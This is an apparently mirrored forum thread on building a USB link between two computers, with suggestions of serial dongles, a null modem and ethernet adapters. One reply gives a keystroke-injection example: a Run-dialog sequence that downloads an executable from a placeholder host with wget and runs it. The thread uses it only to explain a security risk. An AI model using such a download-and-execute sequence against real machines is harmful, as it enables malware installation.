Re:Ask HN: Advice for creating a USB device linking 2 computers
by rpcope1 on Saturday October 25, 2025 @04:07PM
(#45706588)
Easy way is probably two usb-serial dongles and a null modem, if you don't need huge amounts of throughput.
[ Parent
| on HN ]
Re:Ask HN: Advice for creating a USB device linking 2 computers
by brudgers on Saturday October 25, 2025 @04:22PM
(#45706677)
Two ethernet dongles would not require a special cable.
Re:Ask HN: Advice for creating a USB device linking 2 computers
by WorldDev on Saturday October 25, 2025 @05:15PM
(#45707026)
Thanks for that, that's an interesting thought. I am trying to think about the security aspect. If the receiving device (mac mini) is infected with malware, can it infect the macBook through the serial port?
Re:Ask HN: Advice for creating a USB device linking 2 computers
by vbezhenar on Saturday October 25, 2025 @06:25PM
(#45707468)
Of course it can. You can send keystrokes something like <Win>+R, cmd, wget example.com/virus.exe <Enter> virus.exe <Enter> and Windows computer will download and execute this binary. That's example for Windows, but there's nothing preventing you from using similar technique for macOS.
The only security barrier that macOS implements against this kind of attack is, that you must manually confirm after you connected that "keyboard", for system to enable it.
Re:Ask HN: Advice for creating a USB device linking 2 computers
by the__alchemist on Saturday October 25, 2025 @06:22PM
(#45707451)
No. You're just sending bits down a wired connection.
Re:Ask HN: Advice for creating a USB device linking 2 computers
by kejaed on Tuesday October 28, 2025 @05:31PM
(#45739504)
You can buy an off the shelf cable for this.
https://www.digikey.ca/en/products/detail/ftdi-future-techno...